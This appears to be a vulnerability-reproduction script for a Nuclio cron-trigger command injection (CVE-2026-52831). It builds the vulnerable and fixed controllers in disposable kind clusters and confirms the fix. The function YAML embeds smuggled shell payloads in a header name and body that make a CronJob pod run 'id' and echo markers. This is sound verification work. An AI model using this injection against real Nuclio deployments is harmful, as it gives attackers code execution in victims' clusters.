#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts/nuclio-cve-2026-52831"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"

FIXED_COMMIT="3356b86a8bfa"
VULN_COMMIT=""
FIXED_RESOLVED=""
REPO_DEFAULT="$ARTIFACTS/repo"
REPO="$REPO_DEFAULT"
KIND_IMAGE="kindest/node:v1.32.2"
FALLBACK_KIND_IMAGE_ID="f226345927d7"
CURL_IMAGE="curlimages/curl:8.11.1"
BUSYBOX_IMAGE="busybox:latest"
CLUSTER_PREFIX="pruva-nuclio-cve52831"
NS="nuclio-cve"
PROJECT="cve-project"
FUNCTION_NAME="vulncron"

# Keep track of clusters for cleanup.
CREATED_CLUSTERS=()

log() {
    echo "[$(date -Iseconds)] $*" | tee -a "$MAIN_LOG"
}

write_manifest() {
    local entrypoint_kind="$1"
    local service_started="$2"
    local healthcheck_passed="$3"
    local target_path_reached="$4"
    local notes="$5"
    python3 - "$REPRO_DIR/runtime_manifest.json" "$entrypoint_kind" "$service_started" "$healthcheck_passed" "$target_path_reached" "$notes" <<'PY'
import json, sys
path, entrypoint_kind, service_started, healthcheck_passed, target_path_reached, notes = sys.argv[1:]
manifest = {
    "entrypoint_kind": entrypoint_kind,
    "entrypoint_detail": "Nuclio Kubernetes controller watches a real NuclioFunction custom resource, generates a Kubernetes CronJob for the cron trigger, and a real CronJob-derived pod executes the generated container command",
    "service_started": service_started == "true",
    "healthcheck_passed": healthcheck_passed == "true",
    "target_path_reached": target_path_reached == "true",
    "runtime_stack": ["kind Kubernetes", "Nuclio controller binary", "NuclioFunction CRD", "Kubernetes CronJob", "CronJob pod", "curlimages/curl container"],
    "proof_artifacts": [
        "logs/vulnerable_attempt1/pod.log",
        "logs/vulnerable_attempt2/pod.log",
        "logs/vulnerable_attempt1/cronjob_pretty.json",
        "logs/fixed_attempt1/cronjob_pretty.json",
        "logs/fixed_attempt1/pod.log",
        "logs/fixed_attempt2/pod.log",
        "logs/reproduction_steps.log"
    ],
    "notes": notes,
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
    f.write("\n")
PY
}

cleanup() {
    set +e
    for cluster in "${CREATED_CLUSTERS[@]:-}"; do
        log "Cleaning up kind cluster $cluster"
        sudo -n kind delete cluster --name "$cluster" >> "$MAIN_LOG" 2>&1 || true
    done
}
trap cleanup EXIT

# Default manifest for failed/inconclusive exits. It is overwritten after confirmed runtime proof.
write_manifest "endpoint" false false false "reproduction_steps.sh started but did not complete proof yet"

require_cmd() {
    if ! command -v "$1" >/dev/null 2>&1; then
        return 1
    fi
}

log "=== CVE-2026-52831 Nuclio product-path reproduction ==="
log "Root: $ROOT"

# Required tools. Go must be present or installed by the script because clean sandboxes may not have it.
if ! require_cmd jq; then
    log "jq is required but not installed"
    exit 2
fi
if ! require_cmd go; then
    log "Go not found; installing golang-go via apt"
    sudo apt-get update
    sudo apt-get install -y golang-go
fi
if ! require_cmd docker || ! require_cmd kind; then
    log "docker and kind are required for the Kubernetes product-path proof"
    exit 2
fi
if ! sudo -n docker ps >/dev/null 2>&1; then
    log "sudo docker access is required but unavailable"
    exit 2
fi

export GOTOOLCHAIN="${GOTOOLCHAIN:-go1.26.3}"
log "Go version: $(go version)"
log "Docker version: $(sudo -n docker --version)"
log "Kind version: $(sudo -n kind version)"

# Use prepared durable project cache when present.
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_REPO="$(jq -r 'if .prepared == true and (.project_cache_dir // "") != "" then .project_cache_dir + "/repo" else "" end' "$ROOT/project_cache_context.json")"
    if [ -n "$CACHE_REPO" ]; then
        REPO="$CACHE_REPO"
    fi
fi
log "Using repository path: $REPO"
if [ ! -d "$REPO/.git" ]; then
    mkdir -p "$(dirname "$REPO")"
    log "Cloning Nuclio repository"
    git clone https://github.com/nuclio/nuclio.git "$REPO" >> "$MAIN_LOG" 2>&1
fi

# Fetch/resolve fixed and vulnerable commits as required by the fixed-commit rule.
if ! git -C "$REPO" rev-parse --verify "$FIXED_COMMIT^{commit}" >/dev/null 2>&1; then
    log "Fetching fixed commit $FIXED_COMMIT"
    git -C "$REPO" fetch origin "$FIXED_COMMIT" >> "$MAIN_LOG" 2>&1 || git -C "$REPO" fetch origin >> "$MAIN_LOG" 2>&1
fi
VULN_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^" )"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT" )"
log "Resolved vulnerable commit: $VULN_COMMIT"
log "Resolved fixed commit: $FIXED_RESOLVED"

# Verify patch hunk presence/absence around the actual fixed commit.
git -C "$REPO" show "$VULN_COMMIT:pkg/platform/kube/functionres/lazy.go" > "$ARTIFACTS/lazy_vulnerable.go"
git -C "$REPO" show "$FIXED_RESOLVED:pkg/platform/kube/functionres/lazy.go" > "$ARTIFACTS/lazy_fixed.go"
if ! grep -q 'Args:.*\[\]string{"/bin/sh", "-c", curlCommand}' "$ARTIFACTS/lazy_vulnerable.go"; then
    log "Vulnerable commit does not contain expected /bin/sh -c CronJob args"
    exit 2
fi
if ! grep -q 'Command:.*\[\]string{"curl"}' "$ARTIFACTS/lazy_fixed.go" || ! grep -q -- '--data-raw' "$ARTIFACTS/lazy_fixed.go"; then
    log "Fixed commit does not contain expected exec-form curl mitigation"
    exit 2
fi
log "Patch hunk verification succeeded: vulnerable uses /bin/sh -c, fixed uses exec-form curl"

ensure_kind_image() {
    if sudo -n docker image inspect "$KIND_IMAGE" >/dev/null 2>&1; then
        echo "$KIND_IMAGE"
    elif sudo -n docker image inspect "$FALLBACK_KIND_IMAGE_ID" >/dev/null 2>&1; then
        echo "$FALLBACK_KIND_IMAGE_ID"
    else
        log "Pulling kind node image $KIND_IMAGE"
        sudo -n docker pull "$KIND_IMAGE" >> "$MAIN_LOG" 2>&1
        echo "$KIND_IMAGE"
    fi
}

ensure_curl_image() {
    if ! sudo -n docker image inspect "$CURL_IMAGE" >/dev/null 2>&1; then
        log "Pulling CronJob container image $CURL_IMAGE"
        sudo -n docker pull "$CURL_IMAGE" >> "$MAIN_LOG" 2>&1
    fi
}

ensure_busybox_image() {
    if ! sudo -n docker image inspect "$BUSYBOX_IMAGE" >/dev/null 2>&1; then
        log "Pulling stub target image $BUSYBOX_IMAGE"
        sudo -n docker pull "$BUSYBOX_IMAGE" >> "$MAIN_LOG" 2>&1
    fi
}

build_controller() {
    local commit="$1" role="$2" out="$3" build_log="$4"
    log "Building Nuclio controller for $role at $commit"
    git -C "$REPO" checkout -f "$commit" >> "$build_log" 2>&1
    git -C "$REPO" clean -fd >> "$build_log" 2>&1
    GOTOOLCHAIN="$GOTOOLCHAIN" CGO_ENABLED=0 go -C "$REPO" build -trimpath -o "$out" ./cmd/controller >> "$build_log" 2>&1
    file "$out" | tee -a "$build_log" >> "$MAIN_LOG"
}

write_crds() {
    local out="$1"
    cat > "$out" <<'YAML'
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata: {name: nucliofunctions.nuclio.io}
spec:
  group: nuclio.io
  names: {kind: NuclioFunction, plural: nucliofunctions, singular: nucliofunction}
  scope: Namespaced
  versions:
  - name: v1beta1
    served: true
    storage: true
    schema:
      openAPIV3Schema:
        type: object
        properties:
          spec: {x-kubernetes-preserve-unknown-fields: true}
          status: {x-kubernetes-preserve-unknown-fields: true}
---
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata: {name: nuclioprojects.nuclio.io}
spec:
  group: nuclio.io
  names: {kind: NuclioProject, plural: nuclioprojects, singular: nuclioproject}
  scope: Namespaced
  versions:
  - name: v1beta1
    served: true
    storage: true
    schema:
      openAPIV3Schema:
        type: object
        properties:
          spec: {x-kubernetes-preserve-unknown-fields: true}
          status: {x-kubernetes-preserve-unknown-fields: true}
---
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata: {name: nucliofunctionevents.nuclio.io}
spec:
  group: nuclio.io
  names: {kind: NuclioFunctionEvent, plural: nucliofunctionevents, singular: nucliofunctionevent}
  scope: Namespaced
  versions:
  - name: v1beta1
    served: true
    storage: true
    schema:
      openAPIV3Schema:
        type: object
        properties:
          spec: {x-kubernetes-preserve-unknown-fields: true}
          status: {x-kubernetes-preserve-unknown-fields: true}
---
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata: {name: nuclioapigateways.nuclio.io}
spec:
  group: nuclio.io
  names: {kind: NuclioAPIGateway, plural: nuclioapigateways, singular: nuclioapigateway}
  scope: Namespaced
  versions:
  - name: v1beta1
    served: true
    storage: true
    schema:
      openAPIV3Schema:
        type: object
        properties:
          spec: {x-kubernetes-preserve-unknown-fields: true}
          status: {x-kubernetes-preserve-unknown-fields: true}
YAML
}

write_platform_config() {
    local out="$1"
    cat > "$out" <<'YAML'
kind: kube
cronTriggerCreationMode: kube
functionReadinessTimeout: 1s
logger:
  sinks:
    stdout:
      kind: stdout
  system:
  - level: debug
    sink: stdout
YAML
}

write_function_yaml() {
    local role="$1" out="$2"
    if [ "$role" = "vulnerable" ]; then
        cat > "$out" <<YAML
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: $FUNCTION_NAME
  namespace: $NS
  labels:
    nuclio.io/project-name: $PROJECT
spec:
  image: $CURL_IMAGE
  imagePullPolicy: IfNotPresent
  readinessTimeoutSeconds: 1
  triggers:
    default-http:
      kind: http
      name: default-http
      attributes:
        port: 0
    cron:
      kind: cron
      name: cron
      attributes:
        interval: 1m
        event:
          headers:
            'X-Exploit"; echo CVE_PRODUCT_RCE; id; echo "': marker
          body: '\$(id 1>&2; echo BODY_PROOF)'
status:
  state: waitingForResourceConfiguration
YAML
    else
        # Same semantics for the malicious header/body, plus a fixed-version-specific marker.
        cat > "$out" <<YAML
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: $FUNCTION_NAME
  namespace: $NS
  labels:
    nuclio.io/project-name: $PROJECT
spec:
  image: $CURL_IMAGE
  imagePullPolicy: IfNotPresent
  readinessTimeoutSeconds: 1
  triggers:
    default-http:
      kind: http
      name: default-http
      attributes:
        port: 0
    cron:
      kind: cron
      name: cron
      attributes:
        interval: 1m
        event:
          headers:
            'X-Exploit"; echo CVE_FIXED_SHOULD_NOT_RUN; id; echo "': marker
          body: '\$(id 1>&2; echo BODY_PROOF_FIXED)'
status:
  state: waitingForResourceConfiguration
YAML
    fi
}

run_case() {
    local role="$1" commit="$2" attempt="$3" controller_bin="$4"
    local case_log_dir="$LOGS/${role}_attempt${attempt}"
    local cluster="${CLUSTER_PREFIX}-${role}-${attempt}"
    mkdir -p "$case_log_dir"
    log "--- Running $role product-path attempt $attempt on cluster $cluster ---"

    sudo -n kind delete cluster --name "$cluster" >> "$case_log_dir/kind_delete_pre.log" 2>&1 || true
    local node_image
    node_image="$(ensure_kind_image)"
    log "Creating kind cluster $cluster with image $node_image"
    sudo -n kind create cluster --name "$cluster" --image "$node_image" --wait 90s > "$case_log_dir/kind_create.log" 2>&1
    CREATED_CLUSTERS+=("$cluster")
    local node="${cluster}-control-plane"

    ensure_curl_image
    ensure_busybox_image
    log "Loading $CURL_IMAGE and $BUSYBOX_IMAGE into kind node containerd"
    sudo -n docker save "$CURL_IMAGE" | sudo -n docker exec -i "$node" ctr -n=k8s.io images import - > "$case_log_dir/load_curl_image.log" 2> "$case_log_dir/load_curl_image.err"
    sudo -n docker save "$BUSYBOX_IMAGE" | sudo -n docker exec -i "$node" ctr -n=k8s.io images import - > "$case_log_dir/load_busybox_image.log" 2> "$case_log_dir/load_busybox_image.err"

    local K=(sudo -n docker exec -i "$node" env KUBECONFIG=/etc/kubernetes/admin.conf kubectl)
    "${K[@]}" get nodes -o wide | tee "$case_log_dir/nodes.log" >> "$MAIN_LOG"
    "${K[@]}" create namespace "$NS" > "$case_log_dir/namespace.log"

    write_crds "$case_log_dir/crds.yaml"
    "${K[@]}" apply -f - < "$case_log_dir/crds.yaml" | tee "$case_log_dir/crds_apply.log" >> "$MAIN_LOG"

    cat > "$case_log_dir/project.yaml" <<YAML
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
  name: $PROJECT
  namespace: $NS
spec: {}
YAML
    "${K[@]}" apply -f - < "$case_log_dir/project.yaml" | tee "$case_log_dir/project_apply.log" >> "$MAIN_LOG"

    # Product-path negative control needs the fixed exec-form curl to reach a real endpoint.
    # This pod intentionally matches the Service selector that the controller will create for
    # the Nuclio function. It is not a replacement for the vulnerable controller/CronJob path;
    # it is only the target HTTP endpoint that cron-trigger curl normally invokes.
    cat > "$case_log_dir/stub_target.yaml" <<YAML
apiVersion: apps/v1
kind: Deployment
metadata:
  name: stub-target
  namespace: $NS
spec:
  replicas: 1
  selector:
    matchLabels:
      cve.stub: target
  template:
    metadata:
      labels:
        cve.stub: target
        nuclio.io/project-name: $PROJECT
        nuclio.io/class: function
        nuclio.io/app: functionres
        nuclio.io/function-name: $FUNCTION_NAME
        nuclio.io/function-version: latest
    spec:
      containers:
      - name: stub
        image: $BUSYBOX_IMAGE
        imagePullPolicy: IfNotPresent
        command: ["/bin/sh", "-c", "while true; do { printf 'HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok'; } | nc -l -p 8080; done"]
        ports:
        - containerPort: 8080
YAML
    "${K[@]}" apply -f - < "$case_log_dir/stub_target.yaml" | tee "$case_log_dir/stub_apply.log" >> "$MAIN_LOG"
    "${K[@]}" -n "$NS" rollout status deployment/stub-target --timeout=60s > "$case_log_dir/stub_rollout.log" 2>&1

    write_platform_config "$case_log_dir/platform.yaml"
    sudo -n docker exec -i "$node" sh -c 'cat > /usr/local/bin/nuclio-controller && chmod +x /usr/local/bin/nuclio-controller' < "$controller_bin"
    sudo -n docker cp "$case_log_dir/platform.yaml" "$node:/tmp/platform.yaml" > "$case_log_dir/docker_cp_platform.log" 2>&1
    sudo -n docker exec "$node" sh -c 'KUBERNETES_SERVICE_HOST=127.0.0.1 KUBERNETES_SERVICE_PORT=6443 NUCLIO_CONTROLLER_CRON_TRIGGER_CRON_JOB_IMAGE_NAME='"$CURL_IMAGE"' NUCLIO_CONTROLLER_CRON_TRIGGER_CRON_JOB_IMAGE_PULL_POLICY=IfNotPresent KUBECONFIG=/etc/kubernetes/admin.conf /usr/local/bin/nuclio-controller -kubeconfig-path /etc/kubernetes/admin.conf -namespace '"$NS"' -platform-config /tmp/platform.yaml -resync-interval 1s -function-monitor-interval 1m -cron-job-stale-resources-cleanup-interval 1m > /tmp/nuclio-controller.log 2>&1 & echo $! > /tmp/nuclio-controller.pid'
    sleep 3
    sudo -n docker exec "$node" sh -c 'ps -ef | grep /usr/local/bin/nuclio-controller | grep -v grep; tail -120 /tmp/nuclio-controller.log' > "$case_log_dir/controller_initial.log" 2>&1 || true
    if ! grep -q 'Controller has successfully started' "$case_log_dir/controller_initial.log"; then
        log "$role attempt $attempt: controller did not start"
        cat "$case_log_dir/controller_initial.log" | tee -a "$MAIN_LOG"
        return 1
    fi

    write_function_yaml "$role" "$case_log_dir/function.yaml"
    "${K[@]}" apply -f - < "$case_log_dir/function.yaml" | tee "$case_log_dir/function_apply.log" >> "$MAIN_LOG"

    local found="false"
    for _ in $(seq 1 45); do
        "${K[@]}" -n "$NS" get cronjobs -l "nuclio.io/function-name=$FUNCTION_NAME,nuclio.io/function-cron-trigger-name=cron" -o json > "$case_log_dir/cronjob.json" 2> "$case_log_dir/cronjob_get.err" || true
        if jq -e '.items | length > 0' "$case_log_dir/cronjob.json" >/dev/null 2>&1; then
            found="true"
            break
        fi
        sleep 2
    done
    jq . "$case_log_dir/cronjob.json" > "$case_log_dir/cronjob_pretty.json"
    if [ "$found" != "true" ]; then
        log "$role attempt $attempt: CronJob was not created"
        sudo -n docker exec "$node" sh -c 'cat /tmp/nuclio-controller.log' > "$case_log_dir/controller_final.log" 2>&1 || true
        return 1
    fi

    local cronjob_name=""
    cronjob_name="$("${K[@]}" -n "$NS" get cronjobs -l "nuclio.io/function-name=$FUNCTION_NAME,nuclio.io/function-cron-trigger-name=cron" -o jsonpath='{.items[0].metadata.name}')"
    echo "$cronjob_name" > "$case_log_dir/cronjob_name.txt"
    log "$role attempt $attempt: controller generated CronJob $cronjob_name"

    local job_name="manual-${role}-${attempt}"
    "${K[@]}" -n "$NS" create job --from="cronjob/$cronjob_name" "$job_name" | tee "$case_log_dir/job_create.log" >> "$MAIN_LOG"
    "${K[@]}" -n "$NS" wait --for=condition=complete --timeout=90s "job/$job_name" > "$case_log_dir/job_wait.log" 2>&1 || true
    "${K[@]}" -n "$NS" get job "$job_name" -o yaml > "$case_log_dir/job.yaml" 2>&1 || true
    local pod_name=""
    pod_name="$("${K[@]}" -n "$NS" get pods -l "job-name=$job_name" -o jsonpath='{.items[0].metadata.name}' 2>/dev/null || true)"
    if [ -z "$pod_name" ]; then
        log "$role attempt $attempt: no pod found for $job_name"
        return 1
    fi
    echo "$pod_name" > "$case_log_dir/pod_name.txt"
    "${K[@]}" -n "$NS" logs "$pod_name" > "$case_log_dir/pod.log" 2>&1 || true
    "${K[@]}" -n "$NS" get pod "$pod_name" -o yaml > "$case_log_dir/pod.yaml" 2>&1 || true
    "${K[@]}" -n "$NS" get events --sort-by=.lastTimestamp > "$case_log_dir/events.log" 2>&1 || true
    sudo -n docker exec "$node" sh -c 'cat /tmp/nuclio-controller.log' > "$case_log_dir/controller_final.log" 2>&1 || true

    log "$role attempt $attempt pod log follows:"
    cat "$case_log_dir/pod.log" | tee -a "$MAIN_LOG"

    if [ "$role" = "vulnerable" ]; then
        grep -q 'CVE_PRODUCT_RCE' "$case_log_dir/pod.log"
        grep -q 'uid=' "$case_log_dir/pod.log"
        jq -e '.items[0].spec.jobTemplate.spec.template.spec.containers[0].args[0] == "/bin/sh"' "$case_log_dir/cronjob.json" >/dev/null
        jq -e '.items[0].spec.jobTemplate.spec.template.spec.containers[0].args[1] == "-c"' "$case_log_dir/cronjob.json" >/dev/null
        log "$role attempt $attempt confirmed shell command execution in a real CronJob pod"
    else
        if grep -q 'CVE_FIXED_SHOULD_NOT_RUN' "$case_log_dir/pod.log"; then
            log "$role attempt $attempt unexpectedly executed fixed marker"
            return 1
        fi
        jq -e '.items[0].spec.jobTemplate.spec.template.spec.containers[0].command == ["curl"]' "$case_log_dir/cronjob.json" >/dev/null
        if jq -e '.items[0].spec.jobTemplate.spec.template.spec.containers[0].args | index("/bin/sh") or index("-c")' "$case_log_dir/cronjob.json" >/dev/null; then
            log "$role attempt $attempt still contains shell args"
            return 1
        fi
        log "$role attempt $attempt negative control passed: exec-form curl and no marker execution"
    fi

    log "Deleting cluster $cluster after completed $role attempt $attempt"
    sudo -n kind delete cluster --name "$cluster" >> "$case_log_dir/kind_delete_post.log" 2>&1 || true
    return 0
}

# Build both versions once, then use fresh clusters for two attempts each.
VULN_CONTROLLER="$ARTIFACTS/controller-vulnerable"
FIXED_CONTROLLER="$ARTIFACTS/controller-fixed"
build_controller "$VULN_COMMIT" "vulnerable" "$VULN_CONTROLLER" "$LOGS/build_vulnerable.log"
build_controller "$FIXED_RESOLVED" "fixed" "$FIXED_CONTROLLER" "$LOGS/build_fixed.log"

run_case "vulnerable" "$VULN_COMMIT" 1 "$VULN_CONTROLLER"
run_case "vulnerable" "$VULN_COMMIT" 2 "$VULN_CONTROLLER"
run_case "fixed" "$FIXED_RESOLVED" 1 "$FIXED_CONTROLLER"
run_case "fixed" "$FIXED_RESOLVED" 2 "$FIXED_CONTROLLER"

write_manifest "endpoint" true true true "Confirmed through the production Kubernetes CR/controller/CronJob boundary. Two vulnerable attempts executed attacker-controlled id/echo commands in real CronJob pods; two fixed attempts used exec-form curl and did not execute the marker."

# Best-effort proof carry for future runs when enabled.
if [ -f "$ROOT/project_cache_context.json" ] && jq -e '.proof_carry.enabled == true' "$ROOT/project_cache_context.json" >/dev/null 2>&1; then
    PC_DIR="$(jq -r '.project_cache_dir' "$ROOT/project_cache_context.json")/.pruva/proof-carry/latest_confirmed"
    mkdir -p "$PC_DIR"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$PC_DIR/reproduction_steps.sh" || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$PC_DIR/runtime_manifest.json" || true
    cp -f "$MAIN_LOG" "$PC_DIR/reproduction_steps.log" || true
fi

log "=== Product-path reproduction completed successfully ==="
exit 0
